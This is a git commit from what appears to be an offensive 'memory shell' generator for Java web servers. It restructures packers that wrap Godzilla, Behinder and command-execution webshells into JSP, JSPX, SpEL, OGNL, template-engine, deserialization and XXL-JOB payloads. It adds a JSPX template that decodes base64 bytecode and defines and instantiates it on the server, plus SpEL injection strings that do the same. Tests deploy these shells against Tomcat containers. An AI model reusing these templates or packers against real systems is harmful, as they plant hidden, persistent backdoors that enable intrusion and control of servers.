feat: support multi payload generate

This commit is contained in:
ReaJason
2025-01-27 17:02:32 +08:00
parent 8d7ed8c4ee
commit 3efe814d30
43 changed files with 537 additions and 192 deletions
+10 -5
View File
@@ -93,24 +93,29 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
### 内存马功能
- [x] 哥斯拉
- [x] 冰蝎
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [ ] AntSword 蚁剑
- [ ] Suo5
- [ ] Neo-reGeorg
- [ ] Custom
### 封装方式
- [x] JSP
- [x] BCEL
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 脚本引擎
- [x] EL、SpEL、OGNL
- [x] Velocity、Freemarker
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [ ] JNDI
- [ ] Agent
- [ ] JDBC 连接
- [ ] 其他常见反序列化
@@ -10,10 +10,7 @@ import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.stream.Collectors;
/**
@@ -33,7 +30,7 @@ public class ConfigController {
continue;
}
ShellTool[] supportedShellTools = ShellTool.values();
Map<String, List<String>> map = new HashMap<>(16);
Map<String, List<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : supportedShellTools) {
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) {
@@ -51,7 +48,11 @@ public class ConfigController {
.collect(Collectors.toList())
);
config.setCore(coreMap);
config.setPackers(Arrays.stream(Packers.values()).map(Packers::name).toList());
config.setPackers(
Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList()
);
return ResponseEntity.ok(config);
}
}
@@ -7,7 +7,9 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.JarPacker;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
@@ -27,12 +29,13 @@ public class GeneratorController {
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
String packResult = null;
if (request.getPacker().getInstance() instanceof JarPacker) {
packResult = Base64.getEncoder().encodeToString(request.getPacker().getInstance().packBytes(generateResult));
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
} else if (packer instanceof AggregatePacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
} else {
packResult = request.getPacker().getInstance().pack(generateResult);
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
}
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
}
}
@@ -1,16 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@AllArgsConstructor
@NoArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
private Map<String, String> allPackResults;
public GenerateResponse(GenerateResult generateResult, String packResult) {
this.generateResult = generateResult;
this.packResult = packResult;
}
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.generateResult = generateResult;
}
}
@@ -0,0 +1,45 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2025/1/26
*/
public interface AggregatePacker extends Packer {
/**
* 聚合打包当前所有分类下的 payload
*
* @param generateResult 生成结果
* @return key -> 打包名称, value -> 打包 payload
*/
default Map<String, String> packAll(GenerateResult generateResult) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
Enum::name,
packers -> packers.getInstance().pack(generateResult),
(existing, replacement) -> existing,
LinkedHashMap::new
));
}
/**
* 将第一个 sub packer 作为默认输出
*
* @param generateResult 生成的内存马信息
* @return payload
*/
@Override
default String pack(GenerateResult generateResult) {
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
if (packersWithParent.isEmpty()) {
return null;
}
return packersWithParent.get(0).getInstance().pack(generateResult);
}
}
@@ -1,8 +0,0 @@
package com.reajason.javaweb.memshell.packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
}
@@ -20,13 +20,4 @@ public interface Packer {
default String pack(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
/**
* 将生成的内存马打包成 bytes
* @param generateResult 生成的内存马信息
* @return 字节数组
*/
default byte[] packBytes(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
}
}
}
@@ -1,7 +1,29 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2025/1/23
@@ -12,13 +34,10 @@ public enum Packers {
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
/**
* GzipBase64
*/
GzipBase64(new GzipBase64()),
Jar(new SimpleJarPacker()),
Jar(new DefaultJarPacker()),
/**
* BCEL
@@ -29,6 +48,8 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
* 脚本引擎打包器
@@ -47,7 +68,10 @@ public enum Packers {
OGNL(new OGNLPacker()),
SpEL(new SpELSpringIOUtilsGzipPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Freemarker(new FreemarkerPacker()),
@@ -58,12 +82,22 @@ public enum Packers {
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
private Class<?> parentPacker = null;
Packers(Packer instance) {
this.instance = instance;
}
Packer getPacker(Packers packerType) {
Packers(Packer instance, Class<?> parentPacker) {
this.instance = instance;
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
}
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJob230Packer implements Packer {
String template = "";
public XxlJob230Packer() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements AggregatePacker {
}
@@ -1,13 +1,14 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements Packer {
public class DefaultBase64Packer implements Packer {
@Override
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -9,7 +10,7 @@ import org.apache.commons.codec.binary.Base64;
* @author ReaJason
* @since 2025/1/22
*/
public class GzipBase64 implements Packer {
public class GzipBase64Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
@@ -1,9 +1,10 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.deserialize;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.el;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
@@ -12,7 +12,7 @@ import java.util.jar.Manifest;
* @author ReaJason
* @since 2025/1/22
*/
public class SimpleJarPacker implements JarPacker {
public class DefaultJarPacker implements JarPacker {
@Override
@SneakyThrows
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
/**
* 将生成的内存马打包成 bytes
*
* @param generateResult 生成的内存马信息
* @return 字节数组
*/
byte[] packBytes(GenerateResult generateResult);
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -11,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements Packer {
public class DefalutJspPacker implements Packer {
String jspTemplate = null;
public JspPacker() {
public DefalutJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
@@ -23,7 +24,6 @@ public class JspPacker implements Packer {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements AggregatePacker {
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspxPacker implements Packer {
String jspxTemplate = null;
public JspxPacker() {
try {
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.ognl;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.scriptengine;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/1/26
*/
public class SpELPacker implements AggregatePacker {
}
@@ -1,18 +1,19 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELScriptEnginePacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -1,12 +1,13 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringUtilPacker implements Packer {
public class SpELSpringUtilsPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
-1
View File
@@ -42,7 +42,6 @@
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
// 不弄反射啦,以免高版本这儿报 module 限制
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
+53
View File
@@ -0,0 +1,53 @@
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page pageEncoding="UTF-8"/>
<jsp:declaration><![CDATA[
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
]]></jsp:declaration>
<jsp:scriptlet><![CDATA[
new ClassDefiner().toString();
]]></jsp:scriptlet>
</jsp:root>
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -19,7 +20,7 @@ class GzipBase64Test {
void compress() {
GenerateResult generateResult = new GenerateResult();
generateResult.setInjectorBytes("hello world".getBytes());
String pack = new GzipBase64().pack(generateResult);
String pack = new GzipBase64Packer().pack(generateResult);
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packers;
import org.junit.jupiter.api.Test;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/26
*/
class SpELPackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("name")
.injectorBytes("name".getBytes()).build();
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
}
}
@@ -42,28 +42,40 @@ public class Tomcat10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -42,28 +42,40 @@ public class Tomcat5ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
+48 -40
View File
@@ -1,7 +1,6 @@
import { Button, ButtonProps } from "@/components/ui/button.tsx";
import { cn } from "@/lib/utils.ts";
import { Check, Copy } from "lucide-react";
import { HTMLProps, useEffect, useState } from "react";
import { HTMLProps, ReactNode, useEffect, useState } from "react";
import { CopyToClipboard } from "react-copy-to-clipboard";
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
@@ -31,15 +30,8 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props
toast.success("复制成功", { duration: 1000 });
}}
>
<Button
size="icon"
type="button"
variant={variant}
className={cn("relative z-10 h-8 w-8 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50", className)}
{...props}
>
<span className="sr-only">Copy</span>
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
